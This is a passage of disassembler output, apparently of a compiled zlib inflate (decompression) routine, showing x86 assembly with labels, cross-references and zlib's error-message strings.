ecx, eax jmp short loc_41065C ; --------------------------------------------------------------------------- loc_410659: ; CODE XREF: sub_41025B+3F8j mov ecx, [ebp+var_C] loc_41065C: ; CODE XREF: sub_41025B+3FCj push ecx mov ecx, [ebp+var_28] push [ebp+var_4] add ecx, eax push ecx call sub_40CCF7 add esp, 0Ch loc_41066E: ; CODE XREF: sub_41025B+3DDj ; sub_41025B+3E7j test word ptr [esi+10h], 200h jz short loc_41068A push [ebp+var_C] push [ebp+var_4] push dword ptr [esi+18h] call sub_40E5EB add esp, 0Ch mov [esi+18h], eax loc_41068A: ; CODE XREF: sub_41025B+419j mov eax, [ebp+var_C] sub [ebp+var_8], eax add [ebp+var_4], eax sub [esi+40h], eax loc_410696: ; CODE XREF: sub_41025B+3D6j cmp dword ptr [esi+40h], 0 jnz loc_41137F mov edx, [ebp+arg_0] loc_4106A3: ; CODE XREF: sub_41025B+3BCj and dword ptr [esi+40h], 0 mov dword ptr [esi], 6 loc_4106AD: ; CODE XREF: sub_41025B:loc_4102C9j ; DATA XREF: .text:0041147Bo test word ptr [esi+10h], 800h jz short loc_410732 cmp [ebp+var_8], 0 jz loc_41137F xor ecx, ecx loc_4106C1: ; CODE XREF: sub_41025B+4A0j mov eax, [ebp+var_4] movzx eax, byte ptr [ecx+eax] inc ecx mov [ebp+var_C], ecx mov ecx, [esi+20h] test ecx, ecx mov [ebp+var_28], eax jz short loc_4106F1 mov edx, [ecx+1Ch] test edx, edx mov [ebp+var_30], edx jz short loc_4106F1 mov edx, [esi+40h] cmp edx, [ecx+20h] jnb short loc_4106F1 mov ecx, [ebp+var_30] mov [ecx+edx], al inc dword ptr [esi+40h] loc_4106F1: ; CODE XREF: sub_41025B+479j ; sub_41025B+483j ... test eax, eax jz short loc_4106FD mov ecx, [ebp+var_C] cmp ecx, [ebp+var_8] jb short loc_4106C1 loc_4106FD: ; CODE XREF: sub_41025B+498j test word ptr [esi+10h], 200h jz short loc_41071C push [ebp+var_C] push [ebp+var_4] push dword ptr [esi+18h] call sub_40E5EB mov [esi+18h], eax mov eax, [ebp+var_28] add esp, 0Ch loc_41071C: ; CODE XREF: sub_41025B+4A8j mov ecx, [ebp+var_C] sub [ebp+var_8], ecx add [ebp+var_4], ecx test eax, eax jnz loc_41137F mov edx, [ebp+arg_0] jmp short loc_41073D ; --------------------------------------------------------------------------- loc_410732: ; CODE XREF: sub_41025B+458j mov eax, [esi+20h] test eax, eax jz short loc_41073D and dword ptr [eax+1Ch], 0 loc_41073D: ; CODE XREF: sub_41025B+4D5j ; sub_41025B+4DCj and dword ptr [esi+40h], 0 mov dword ptr [esi], 7 loc_410747: ; CODE XREF: sub_41025B:loc_4102C9j ; DATA XREF: .text:0041147Fo test word ptr [esi+10h], 1000h jz short loc_4107CC cmp [ebp+var_8], 0 jz loc_41137F xor ecx, ecx loc_41075B: ; CODE XREF: sub_41025B+53Aj mov eax, [ebp+var_4] movzx eax, byte ptr [ecx+eax] inc ecx mov [ebp+var_C], ecx mov ecx, [esi+20h] test ecx, ecx mov [ebp+var_28], eax jz short loc_41078B mov edx, [ecx+24h] test edx, edx mov [ebp+var_30], edx jz short loc_41078B mov edx, [esi+40h] cmp edx, [ecx+28h] jnb short loc_41078B mov ecx, [ebp+var_30] mov [ecx+edx], al inc dword ptr [esi+40h] loc_41078B: ; CODE XREF: sub_41025B+513j ; sub_41025B+51Dj ... test eax, eax jz short loc_410797 mov ecx, [ebp+var_C] cmp ecx, [ebp+var_8] jb short loc_41075B loc_410797: ; CODE XREF: sub_41025B+532j test word ptr [esi+10h], 200h jz short loc_4107B6 push [ebp+var_C] push [ebp+var_4] push dword ptr [esi+18h] call sub_40E5EB mov [esi+18h], eax mov eax, [ebp+var_28] add esp, 0Ch loc_4107B6: ; CODE XREF: sub_41025B+542j mov ecx, [ebp+var_C] sub [ebp+var_8], ecx add [ebp+var_4], ecx test eax, eax jnz loc_41137F mov edx, [ebp+arg_0] jmp short loc_4107D7 ; --------------------------------------------------------------------------- loc_4107CC: ; CODE XREF: sub_41025B+4F2j mov eax, [esi+20h] test eax, eax jz short loc_4107D7 and dword ptr [eax+24h], 0 loc_4107D7: ; CODE XREF: sub_41025B+56Fj ; sub_41025B+576j mov dword ptr [esi], 8 loc_4107DD: ; CODE XREF: sub_41025B:loc_4102C9j ; DATA XREF: .text:00411483o test word ptr [esi+10h], 200h jz short loc_41082F cmp edi, 10h jnb short loc_410814 loc_4107EA: ; CODE XREF: sub_41025B+5B4j cmp [ebp+var_8], 0 jz loc_41137F mov eax, [ebp+var_4] movzx eax, byte ptr [eax] dec [ebp+var_8] mov ecx, edi shl eax, cl add edi, 8 add ebx, eax inc [ebp+var_4] cmp edi, 10h mov [ebp+var_10], ebx jb short loc_4107EA mov edx, [ebp+arg_0] loc_410814: ; CODE XREF: sub_41025B+58Dj movzx eax, word ptr [esi+18h] cmp ebx, eax jz short loc_410828 mov dword ptr [edx+18h], offset aHeaderCrcMisma ; "header crc mismatch" jmp loc_41132B ; --------------------------------------------------------------------------- loc_410828: ; CODE XREF: sub_41025B+5BFj xor ebx, ebx mov [ebp+var_10], ebx xor edi, edi loc_41082F: ; CODE XREF: sub_41025B+588j mov eax, [esi+20h] test eax, eax jz short loc_41084A mov edx, [esi+10h] xor ecx, ecx inc ecx sar edx, 9 and edx, ecx mov [eax+2Ch], edx mov eax, [esi+20h] mov [eax+30h], ecx loc_41084A: ; CODE XREF: sub_41025B+5D9j xor eax, eax push eax push eax push eax call sub_40E5EB mov ecx, [ebp+arg_0] mov [esi+18h], eax add esp, 0Ch mov [ecx+30h], eax jmp loc_410F8C ; --------------------------------------------------------------------------- loc_410865: ; CODE XREF: sub_41025B:loc_4102C9j ; DATA XREF: .text:00411487o cmp edi, 20h jnb short loc_410894 loc_41086A: ; CODE XREF: sub_41025B+634j cmp [ebp+var_8], 0 jz loc_41137F mov eax, [ebp+var_4] movzx eax, byte ptr [eax] dec [ebp+var_8] mov ecx, edi shl eax, cl add edi, 8 add ebx, eax inc [ebp+var_4] cmp edi, 20h mov [ebp+var_10], ebx jb short loc_41086A mov edx, [ebp+arg_0] loc_410894: ; CODE XREF: sub_41025B+60Dj mov eax, ebx and eax, 0FF00h mov ecx, ebx shl ecx, 10h add eax, ecx xor ecx, ecx mov ch, byte ptr [ebp+var_10+2] shl eax, 8 shr ebx, 18h add eax, ecx add eax, ebx mov [esi+18h], eax mov [edx+30h], eax xor ebx, ebx xor edi, edi mov dword ptr [esi], 0Ah loc_4108C1: ; CODE XREF: sub_41025B:loc_4102C9j ; DATA XREF: .text:0041148Bo cmp dword ptr [esi+0Ch], 0 jz loc_411341 xor eax, eax push eax push eax push eax call sub_40E0E6 mov ecx, [ebp+arg_0] mov [esi+18h], eax mov [ecx+30h], eax add esp, 0Ch mov dword ptr [esi], 0Bh loc_4108E7: ; CODE XREF: sub_41025B:loc_4102C9j ; DATA XREF: .text:0041148Fo cmp [ebp+arg_4], 5 jz loc_41137F mov edx, [ebp+arg_0] loc_4108F4: ; CODE XREF: sub_41025B:loc_4102C9j ; DATA XREF: .text:00411493o cmp dword ptr [esi+4], 0 jz short loc_410911 mov ecx, edi and ecx, 7 shr ebx, cl sub edi, ecx mov dword ptr [esi], 18h mov [ebp+var_10], ebx jmp loc_411331 ; --------------------------------------------------------------------------- loc_410911: ; CODE XREF: sub_41025B+69Dj cmp edi, 3 jnb short loc_41093D loc_410916: ; CODE XREF: sub_41025B+6DDj cmp [ebp+var_8], 0 jz loc_41137F mov eax, [ebp+var_4] movzx eax, byte ptr [eax] dec [ebp+var_8] mov ecx, edi shl eax, cl add edi, 8 add ebx, eax inc [ebp+var_4] cmp edi, 3 jb short loc_410916 mov edx, [ebp+arg_0] loc_41093D: ; CODE XREF: sub_41025B+6B9j mov eax, ebx and eax, 1 shr ebx, 1 mov [esi+4], eax mov eax, ebx and eax, 3 dec edi sub eax, 0 jz short loc_410996 dec eax jz short loc_410972 dec eax jz short loc_41096A dec eax jnz short loc_41099C mov dword ptr [edx+18h], offset aInvalidBlockTy ; "invalid block type" mov dword ptr [esi], 1Bh jmp short loc_41099C ; --------------------------------------------------------------------------- loc_41096A: ; CODE XREF: sub_41025B+6FBj mov dword ptr [esi], 0Fh jmp short loc_41099C ; --------------------------------------------------------------------------- loc_410972: ; CODE XREF: sub_41025B+6F8j mov dword ptr [esi+4Ch], offset asc_41ED18 ; "`\a" mov dword ptr [esi+54h], 9 mov dword ptr [esi+50h], offset dword_41F518 mov dword ptr [esi+58h], 5 mov dword ptr [esi], 12h jmp short loc_41099C ; --------------------------------------------------------------------------- loc_410996: ; CODE XREF: sub_41025B+6F5j mov dword ptr [esi], 0Dh loc_41099C: ; CODE XREF: sub_41025B+6FEj ; sub_41025B+70Dj ... shr ebx, 2 dec edi mov [ebp+var_10], ebx dec edi jmp loc_411331 ; --------------------------------------------------------------------------- loc_4109A9: ; CODE XREF: sub_41025B:loc_4102C9j ; DATA XREF: .text:00411497o mov ecx, edi and ecx, 7 shr ebx, cl sub edi, ecx cmp edi, 20h mov [ebp+var_10], ebx jnb short loc_4109E4 loc_4109BA: ; CODE XREF: sub_41025B+784j cmp [ebp+var_8], 0 jz loc_41137F mov eax, [ebp+var_4] movzx eax, byte ptr [eax] dec [ebp+var_8] mov ecx, edi shl eax, cl add edi, 8 add ebx, eax inc [ebp+var_4] cmp edi, 20h mov [ebp+var_10], ebx jb short loc_4109BA mov edx, [ebp+arg_0] loc_4109E4: ; CODE XREF: sub_41025B+75Dj mov ecx, ebx mov eax, ebx not ecx and eax, 0FFFFh shr ecx, 10h cmp eax, ecx jz short loc_410A02 mov dword ptr [edx+18h], offset aInvalidStoredB ; "invalid stored block lengths" jmp loc_41132B ; --------------------------------------------------------------------------- loc_410A02: ; CODE XREF: sub_41025B+799j xor ebx, ebx mov [esi+40h], eax mov [ebp+var_10], ebx xor edi, edi mov dword ptr [esi], 0Eh loc_410A12: ; CODE XREF: sub_41025B:loc_4102C9j ; DATA XREF: .text:0041149Bo mov eax, [esi+40h] test eax, eax mov [ebp+var_C], eax jz loc_410F8C mov eax, [ebp+var_8] cmp [ebp+var_C], eax jbe short loc_410A2B mov [ebp+var_C], eax loc_410A2B: ; CODE XREF: sub_41025B+7CBj mov eax, [ebp+var_14] cmp [ebp+var_C], eax jbe short loc_410A36 mov [ebp+var_C], eax loc_410A36: ; CODE XREF: sub_41025B+7D6j cmp [ebp+var_C], 0 jz loc_41137F push [ebp+var_C] push [ebp+var_4] push [ebp+var_1C] call sub_40CCF7 mov eax, [ebp+var_C] sub [ebp+var_8], eax add [ebp+var_4], eax sub [ebp+var_14], eax add [ebp+var_1C], eax add esp, 0Ch sub [esi+40h], eax jmp loc_411331 ; --------------------------------------------------------------------------- loc_410A68: ; CODE XREF: sub_41025B:loc_4102C9j ; DATA XREF: .text:0041149Fo cmp edi, 0Eh jnb short loc_410A94 loc_410A6D: ; CODE XREF: sub_41025B+834j cmp [ebp+var_8], 0 jz loc_41137F mov eax, [ebp+var_4] movzx eax, byte ptr [eax] dec [ebp+var_8] mov ecx, edi shl eax, cl add edi, 8 add ebx, eax inc [ebp+var_4] cmp edi, 0Eh jb short loc_410A6D mov edx, [ebp+arg_0] loc_410A94: ; CODE XREF: sub_41025B+810j mov eax, ebx and eax, 1Fh add eax, 101h mov [esi+60h], eax shr ebx, 5 mov eax, ebx and eax, 1Fh inc eax shr ebx, 5 mov [esi+64h], eax mov eax, ebx and eax, 0Fh add eax, 4 shr ebx, 4 sub edi, 0Eh cmp dword ptr [esi+60h], 11Eh mov [esi+5Ch], eax mov [ebp+var_10], ebx ja short loc_410ADF cmp dword ptr [esi+64h], 1Eh ja short loc_410ADF and dword ptr [esi+68h], 0 mov dword ptr [esi], 10h jmp short loc_410B31 ; --------------------------------------------------------------------------- loc_410ADF: ; CODE XREF: sub_41025B+870j ; sub_41025B+876j mov dword ptr [edx+18h], offset aTooManyLengthO ; "too many length or distance symbols" jmp loc_41132B ; --------------------------------------------------------------------------- loc_410AEB: ; CODE XREF: sub_41025B+8B2j cmp [ebp+var_8], 0 jz loc_41137F mov eax, [ebp+var_4] movzx eax, byte ptr [eax] dec [ebp+var_8] mov ecx, edi shl eax, cl add ebx, eax inc [ebp+var_4] add edi, 8 loc_410B0A: ; CODE XREF: sub_41025B+8DCj cmp edi, 3 jb short loc_410AEB mov ecx, [esi+68h] movzx ecx, ds:word_41F598[ecx*2] movzx eax, bl and eax, 7 shr ebx, 3 mov [esi+ecx*2+70h], ax inc dword ptr [esi+68h] mov [ebp+var_10], ebx sub edi, 3 loc_410B31: ; CODE XREF: sub_41025B:loc_4102C9j ; sub_41025B+882j ; DATA XREF: ... mov eax, [esi+68h] cmp eax, [esi+5Ch] jb short loc_410B0A jmp short loc_410B4F ; --------------------------------------------------------------------------- loc_410B3B: ; CODE XREF: sub_41025B+8F8j mov eax, [esi+68h] movzx eax, ds:word_41F598[eax*2] and word ptr [esi+eax*2+70h], 0 inc dword ptr [esi+68h] loc_410B4F: ; CODE XREF: sub_41025B+8DEj cmp dword ptr [esi+68h], 13h jb short loc_410B3B lea eax, [esi+530h] lea ecx, [esi+6Ch] mov [ecx], eax mov [esi+4Ch], eax lea edx, [esi+2F0h] push edx lea eax, [esi+54h] push eax push ecx mov dword ptr [eax], 7 push 13h lea eax, [esi+70h] push eax push 0 call sub_411515 add esp, 18h test eax, eax mov [ebp+var_24], eax jz short loc_410B9B mov eax, [ebp+arg_0] mov dword ptr [eax+18h], offset aInvalidCodeLen ; "invalid code lengths set" jmp loc_41132B ; --------------------------------------------------------------------------- loc_410B9B: ; CODE XREF: sub_41025B+92Fj and dword ptr [esi+68h], 0 mov dword ptr [esi], 11h jmp loc_410DAD ; --------------------------------------------------------------------------- loc_410BAA: ; CODE XREF: sub_41025B+98Cj cmp [ebp+var_8], 0 jz loc_41137F mov eax, [ebp+var_4] movzx eax, byte ptr [eax] dec [ebp+var_8] mov ecx, edi shl eax, cl add ebx, eax inc [ebp+var_4] add edi, 8 loc_410BC9: ; CODE XREF: sub_41025B+B5Bj mov ecx, [esi+54h] xor eax, eax inc eax shl eax, cl mov ecx, [esi+4Ch] dec eax and eax, ebx mov eax, [ecx+eax*4] mov ecx, eax shr ecx, 8 movzx ecx, cl cmp ecx, edi mov [ebp+var_28], eax ja short loc_410BAA mov ecx, eax shr ecx, 10h cmp cx, 10h jnb short loc_410C42 mov ecx, eax shr ecx, 8 movzx ecx, cl jmp short loc_410C20 ; --------------------------------------------------------------------------- loc_410BFE: ; CODE XREF: sub_41025B+9C7j cmp [ebp+var_8], 0 jz loc_41137F mov ecx, [ebp+var_4] movzx edx, byte ptr [ecx] dec [ebp+var_8] mov ecx, edi shl edx, cl movzx ecx, ah add ebx, edx inc [ebp+var_4] add edi, 8 loc_410C20: ; CODE XREF: sub_41025B+9A1j cmp edi, ecx jb short loc_410BFE movzx ecx, ah mov eax, [esi+68h] shr ebx, cl sub edi, ecx mov cx, word ptr [ebp+var_28+2] mov [esi+eax*2+70h], cx inc dword ptr [esi+68h] mov [ebp+var_10], ebx jmp loc_410DAD ; --------------------------------------------------------------------------- loc_410C42: ; CODE XREF: sub_41025B+997j cmp word ptr [ebp+var_28+2], 10h jnz short loc_410CA2 movzx eax, ah jmp short loc_410C6D ; --------------------------------------------------------------------------- loc_410C4E: ; CODE XREF: sub_41025B+A17j cmp [ebp+var_8], 0 jz loc_41137F mov ecx, [ebp+var_4] movzx edx, byte ptr [ecx] dec [ebp+var_8] mov ecx, edi shl edx, cl add ebx, edx inc [ebp+var_4] add edi, 8 loc_410C6D: ; CODE XREF: sub_41025B+9F1j lea ecx, [eax+2] cmp edi, ecx jb short loc_410C4E mov ecx, eax shr ebx, cl sub edi, eax mov eax, [esi+68h] test eax, eax mov [ebp+var_10], ebx jz loc_410DBE movzx eax, word ptr [esi+eax*2+6Eh] mov [ebp+var_28], eax mov eax, ebx and eax, 3 add eax, 3 shr ebx, 2 dec edi dec edi jmp loc_410D27 ; --------------------------------------------------------------------------- loc_410CA2: ; CODE XREF: sub_41025B+9ECj cmp word ptr [ebp+var_28+2], 11h movzx edx, ah jnz short loc_410D06 jmp short loc_410CCD ; --------------------------------------------------------------------------- loc_410CAE: ; CODE XREF: sub_41025B+A77j cmp [ebp+var_8], 0 jz loc_41137F mov eax, [ebp+var_4] movzx eax, byte ptr [eax] dec [ebp+var_8] mov ecx, edi shl eax, cl add ebx, eax inc [ebp+var_4] add edi, 8 loc_410CCD: ; CODE XREF: sub_41025B+A51j lea eax, [edx+3] cmp edi, eax jb short loc_410CAE mov ecx, edx shr ebx, cl push 0FFFFFFFDh mov eax, ebx and eax, 7 add eax, 3 shr ebx, 3 jmp short loc_410D1E ; --------------------------------------------------------------------------- loc_410CE7: ; CODE XREF: sub_41025B+AB0j cmp [ebp+var_8], 0 jz loc_41137F mov eax, [ebp+var_4] movzx eax, byte ptr [eax] dec [ebp+var_8] mov ecx, edi shl eax, cl add ebx, eax inc [ebp+var_4] add edi, 8 loc_410D06: ; CODE XREF: sub_41025B+A4Fj lea eax, [edx+7] cmp edi, eax jb short loc_410CE7 mov ecx, edx shr ebx, cl push 0FFFFFFF9h mov eax, ebx and eax, 7Fh add eax, 0Bh shr ebx, 7 loc_410D1E: ; CODE XREF: sub_41025B+A8Aj and [ebp+var_28], 0 pop ecx sub ecx, edx add edi, ecx loc_410D27: ; CODE XREF: sub_41025B+A42j mov ecx, [esi+64h] mov edx, [esi+68h] add ecx, [esi+60h] add edx, eax cmp edx, ecx mov [ebp+var_10], ebx jbe short loc_410DA9 mov eax, [ebp+arg_0] mov dword ptr [eax+18h], offset aInvalidBitLeng ; "invalid bit length repeat" mov dword ptr [esi], 1Bh loc_410D49: ; CODE XREF: sub_41025B+B61j cmp dword ptr [esi], 1Bh jz loc_411331 lea eax, [esi+530h] lea ecx, [esi+6Ch] mov [ecx], eax mov [esi+4Ch], eax lea edx, [esi+2F0h] push edx lea eax, [esi+54h] push eax push ecx push dword ptr [esi+60h] mov dword ptr [eax], 9 lea eax, [esi+70h] push eax push 1 call sub_411515 add esp, 18h test eax, eax mov [ebp+var_24], eax jz short loc_410DCD mov eax, [ebp+arg_0] mov dword ptr [eax+18h], offset aInvalidLiter_0 ; "invalid literal/lengths set" jmp loc_41132B ; --------------------------------------------------------------------------- loc_410D99: ; CODE XREF: sub_41025B+B50j mov ecx, [esi+68h] mov dx, word ptr [ebp+var_28] dec eax mov [esi+ecx*2+70h], dx inc dword ptr [esi+68h] loc_410DA9: ; CODE XREF: sub_41025B+ADCj test eax, eax jnz short loc_410D99 loc_410DAD: ; CODE XREF: sub_41025B:loc_4102C9j ; sub_41025B+94Aj ... mov eax, [esi+64h] add eax, [esi+60h] cmp [esi+68h], eax jb loc_410BC9 jmp short loc_410D49 ; --------------------------------------------------------------------------- loc_410DBE: ; CODE XREF: sub_41025B+A27j mov eax, [ebp+arg_0] mov dword ptr [eax+18h], offset aInvalidBitLeng ; "invalid bit length repeat" jmp loc_41132B ; --------------------------------------------------------------------------- loc_410DCD: ; CODE XREF: sub_41025B+B2Dj lea ecx, [esi+6Ch] mov eax, [ecx] mov [esi+50h], eax lea edx, [esi+2F0h] push edx lea eax, [esi+58h] push eax push ecx push dword ptr [esi+64h] mov dword ptr [eax], 6 mov eax, [esi+60h] lea eax, [esi+eax*2+70h] push eax push 2 call sub_411515 add esp, 18h test eax, eax mov [ebp+var_24], eax jz short loc_410E12 mov eax, [ebp+arg_0] mov dword ptr [eax+18h], offset aInvalidDista_1 ; "invalid distances set" jmp loc_41132B ; --------------------------------------------------------------------------- loc_410E12: ; CODE XREF: sub_41025B+BA6j mov dword ptr [esi], 12h loc_410E18: ; CODE XREF: sub_41025B:loc_4102C9j ; DATA XREF: .text:004114ABo cmp [ebp+var_8], 6 jb short loc_410E7A cmp [ebp+var_14], 102h jb short loc_410E7A mov eax, [ebp+arg_0] mov ecx, [ebp+var_1C] push [ebp+var_20] mov [eax+0Ch], ecx mov ecx, [ebp+var_14] mov [eax+10h], ecx mov ecx, [ebp+var_4] mov [eax], ecx mov ecx, [ebp+var_8] mov [eax+4], ecx push eax mov [esi+38h], ebx mov [esi+3Ch], edi call sub_40FC7B mov eax, [ebp+arg_0] mov ebx, [esi+38h] mov edi, [esi+3Ch] pop ecx pop ecx mov ecx, [eax+0Ch] mov [ebp+var_1C], ecx mov ecx, [eax+10h] mov [ebp+var_14], ecx mov ecx, [eax] mov eax, [eax+4] mov [ebp+var_4], ecx mov [ebp+var_8], eax mov [ebp+var_10], ebx jmp loc_411331 ; --------------------------------------------------------------------------- loc_410E7A: ; CODE XREF: sub_41025B+BC1j ; sub_41025B+BCAj mov ecx, [esi+54h] mov eax, [esi+4Ch] xor edx, edx inc edx shl edx, cl dec edx and edx, ebx mov eax, [eax+edx*4] jmp short loc_410EBD ; --------------------------------------------------------------------------- loc_410E8D: ; CODE XREF: sub_41025B+C6Cj cmp [ebp+var_8], 0 jz loc_41137F mov eax, [ebp+var_4] movzx eax, byte ptr [eax] dec [ebp+var_8] mov ecx, edi shl eax, cl mov ecx, [esi+54h] add edi, 8 add ebx, eax inc [ebp+var_4] xor eax, eax inc eax shl eax, cl mov ecx, [esi+4Ch] dec eax and eax, ebx mov eax, [ecx+eax*4] loc_410EBD: ; CODE XREF: sub_41025B+C30j mov ecx, eax shr ecx, 8 movzx ecx, cl cmp ecx, edi ja short loc_410E8D test al, al jz loc_410F62 test al, 0F0h jnz loc_410F62 mov [ebp+var_10], eax shr [ebp+var_10], 8 movzx edx, byte ptr [ebp+var_10] mov [ebp+var_C], edx movzx ecx, al add ecx, edx xor edx, edx inc edx shl edx, cl mov ecx, [ebp+var_C] mov [ebp+var_28], eax shr eax, 10h dec edx and edx, ebx shr edx, cl add edx, eax mov eax, [esi+4Ch] mov eax, [eax+edx*4] movzx edx, byte ptr [ebp+var_10] jmp short loc_410F4C ; --------------------------------------------------------------------------- loc_410F0D: ; CODE XREF: sub_41025B+CFDj cmp [ebp+var_8], 0 jz loc_41137F mov eax, [ebp+var_4] movzx eax, byte ptr [eax] dec [ebp+var_8] mov ecx, edi shl eax, cl mov ecx, [ebp+var_28] movzx edx, ch add ebx, eax inc [ebp+var_4] xor eax, eax add ecx, edx inc eax shl eax, cl add edi, 8 mov ecx, edx dec eax and eax, ebx shr eax, cl movzx ecx, word ptr [ebp+var_28+2] add eax, ecx mov ecx, [esi+4Ch] mov eax, [ecx+eax*4] loc_410F4C: ; CODE XREF: sub_41025B+CB0j mov ecx, eax shr ecx, 8 movzx ecx, cl add ecx, edx cmp ecx, edi ja short loc_410F0D movzx ecx, byte ptr [ebp+var_28+1] shr ebx, cl sub edi, ecx loc_410F62: ; CODE XREF: sub_41025B+C70j ; sub_41025B+C78j mov ecx, eax shr ecx, 8 movzx ecx, cl shr ebx, cl sub edi, ecx mov ecx, eax shr ecx, 10h test al, al mov [ebp+var_10], ebx mov [esi+40h], ecx jnz short loc_410F88 mov dword ptr [esi], 17h jmp loc_411331 ; --------------------------------------------------------------------------- loc_410F88: ; CODE XREF: sub_41025B+D20j test al, 20h jz short loc_410F97 loc_410F8C: ; CODE XREF: sub_41025B+605j ; sub_41025B+7BFj mov dword ptr [esi], 0Bh jmp loc_411331 ; --------------------------------------------------------------------------- loc_410F97: ; CODE XREF: sub_41025B+D2Fj test al, 40h jz short loc_410FAA mov eax, [ebp+arg_0] mov dword ptr [eax+18h], offset aInvalidLiteral ; "invalid literal/length code" jmp loc_41132B ; --------------------------------------------------------------------------- loc_410FAA: ; CODE XREF: sub_41025B+D3Ej and eax, 0Fh mov [esi+48h], eax mov dword ptr [esi], 13h loc_410FB6: ; CODE XREF: sub_41025B:loc_4102C9j ; DATA XREF: .text:004114AFo mov eax, [esi+48h] test eax, eax jz short loc_410FF6 cmp edi, eax jnb short loc_410FE5 loc_410FC1: ; CODE XREF: sub_41025B+D88j cmp [ebp+var_8], 0 jz loc_41137F mov ecx, [ebp+var_4] movzx edx, byte ptr [ecx] dec [ebp+var_8] mov ecx, edi shl edx, cl add edi, 8 add ebx, edx inc [ebp+var_4] cmp edi, [esi+48h] jb short loc_410FC1 loc_410FE5: ; CODE XREF: sub_41025B+D64j xor edx, edx inc edx mov ecx, eax shl edx, cl dec edx and edx, ebx add [esi+40h], edx shr ebx, cl sub edi, eax loc_410FF6: ; CODE XREF: sub_41025B+D60j mov dword ptr [esi], 14h loc_410FFC: ; CODE XREF: sub_41025B:loc_4102C9j ; DATA XREF: .text:004114B3o mov ecx, [esi+58h] mov eax, [esi+50h] xor edx, edx inc edx shl edx, cl dec edx and edx, ebx mov eax, [eax+edx*4] jmp short loc_41103F ; --------------------------------------------------------------------------- loc_41100F: ; CODE XREF: sub_41025B+DEEj cmp [ebp+var_8], 0 jz loc_41137F mov eax, [ebp+var_4] movzx eax, byte ptr [eax] dec [ebp+var_8] mov ecx, edi shl eax, cl mov ecx, [esi+58h] add edi, 8 add ebx, eax inc [ebp+var_4] xor eax, eax inc eax shl eax, cl mov ecx, [esi+50h] dec eax and eax, ebx mov eax, [ecx+eax*4] loc_41103F: ; CODE XREF: sub_41025B+DB2j mov ecx, eax shr ecx, 8 movzx ecx, cl cmp ecx, edi ja short loc_41100F test al, 0F0h jnz loc_4110DC mov [ebp+var_10], eax shr [ebp+var_10], 8 movzx edx, byte ptr [ebp+var_10] mov [ebp+var_C], edx movzx ecx, al add ecx, edx xor edx, edx inc edx shl edx, cl mov ecx, [ebp+var_C] mov [ebp+var_28], eax shr eax, 10h dec edx and edx, ebx shr edx, cl add edx, eax mov eax, [esi+50h] mov eax, [eax+edx*4] movzx edx, byte ptr [ebp+var_10] jmp short loc_4110C6 ; --------------------------------------------------------------------------- loc_411087: ; CODE XREF: sub_41025B+E77j cmp [ebp+var_8], 0 jz loc_41137F mov eax, [ebp+var_4] movzx eax, byte ptr [eax] dec [ebp+var_8] mov ecx, edi shl eax, cl mov ecx, [ebp+var_28] movzx edx, ch add ebx, eax inc [ebp+var_4] xor eax, eax add ecx, edx inc eax shl eax, cl add edi, 8 mov ecx, edx dec eax and eax, ebx shr eax, cl movzx ecx, word ptr [ebp+var_28+2] add eax, ecx mov ecx, [esi+50h] mov eax, [ecx+eax*4] loc_4110C6: ; CODE XREF: sub_41025B+E2Aj mov ecx, eax shr ecx, 8 movzx ecx, cl add ecx, edx cmp ecx, edi ja short loc_411087 movzx ecx, byte ptr [ebp+var_28+1] shr ebx, cl sub edi, ecx loc_4110DC: ; CODE XREF: sub_41025B+DF2j mov ecx, eax shr ecx, 8 movzx ecx, cl shr ebx, cl sub edi, ecx test al, 40h mov [ebp+var_10], ebx jz short loc_4110FE mov eax, [ebp+arg_0] mov dword ptr [eax+18h], offset aInvalidDista_0 ; "invalid distance code" jmp loc_41132B ; --------------------------------------------------------------------------- loc_4110FE: ; CODE XREF: sub_41025B+E92j mov edx, [ebp+arg_0] mov ecx, eax shr ecx, 10h and eax, 0Fh mov [esi+44h], ecx mov [esi+48h], eax mov dword ptr [esi], 15h loc_411115: ; CODE XREF: sub_41025B:loc_4102C9j ; DATA XREF: .text:004114B7o mov eax, [esi+48h] test eax, eax jz short loc_41115C cmp edi, eax jnb short loc_411147 loc_411120: ; CODE XREF: sub_41025B+EE7j cmp [ebp+var_8], 0 jz loc_41137F mov eax, [ebp+var_4] movzx eax, byte ptr [eax] dec [ebp+var_8] mov ecx, edi shl eax, cl add edi, 8 add ebx, eax inc [ebp+var_4] cmp edi, [esi+48h] jb short loc_411120 mov edx, [ebp+arg_0] loc_411147: ; CODE XREF: sub_41025B+EC3j mov ecx, [esi+48h] xor eax, eax inc eax shl eax, cl dec eax and eax, ebx add [esi+44h], eax shr ebx, cl sub edi, ecx mov [ebp+var_10], ebx loc_41115C: ; CODE XREF: sub_41025B+EBFj mov eax, [esi+2Ch] sub eax, [ebp+var_14] add eax, [ebp+var_20] cmp [esi+44h], eax jbe short loc_411176 mov dword ptr [edx+18h], offset aInvalidDistanc ; "invalid distance too far back" jmp loc_41132B ; --------------------------------------------------------------------------- loc_411176: ; CODE XREF: sub_41025B+F0Dj mov dword ptr [esi], 16h loc_41117C: ; CODE XREF: sub_41025B:loc_4102C9j ; DATA XREF: .text:004114BBo cmp [ebp+var_14], 0 jz loc_41137F mov eax, [ebp+var_20] sub eax, [ebp+var_14] mov ecx, [esi+44h] cmp ecx, eax jbe short loc_4111C0 sub ecx, eax mov eax, [esi+34h] mov [ebp+var_C], ecx mov ecx, [esi+30h] cmp [ebp+var_C], ecx jbe short loc_4111AE add eax, [esi+28h] sub [ebp+var_C], ecx sub eax, [ebp+var_C] jmp short loc_4111B3 ; --------------------------------------------------------------------------- loc_4111AE: ; CODE XREF: sub_41025B+F46j sub eax, [ebp+var_C] add eax, ecx loc_4111B3: ; CODE XREF: sub_41025B+F51j mov ecx, [esi+40h] cmp [ebp+var_C], ecx mov [ebp+var_28], ecx jbe short loc_4111CE jmp short loc_4111CB ; --------------------------------------------------------------------------- loc_4111C0: ; CODE XREF: sub_41025B+F36j mov eax, [ebp+var_1C] sub eax, ecx mov ecx, [esi+40h] mov [ebp+var_28], ecx loc_4111CB: ; CODE XREF: sub_41025B+F63j mov [ebp+var_C], ecx loc_4111CE: ; CODE XREF: sub_41025B+F61j mov ecx, [ebp+var_14] cmp [ebp+var_C], ecx jbe short loc_4111D9 mov [ebp+var_C], ecx loc_4111D9: ; CODE XREF: sub_41025B+F79j sub ecx, [ebp+var_C] mov [ebp+var_14], ecx mov ecx, [ebp+var_28] sub ecx, [ebp+var_C] mov [esi+40h], ecx loc_4111E8: ; CODE XREF: sub_41025B+F9Bj mov edx, [ebp+var_1C] mov cl, [eax] inc [ebp+var_1C] inc eax dec 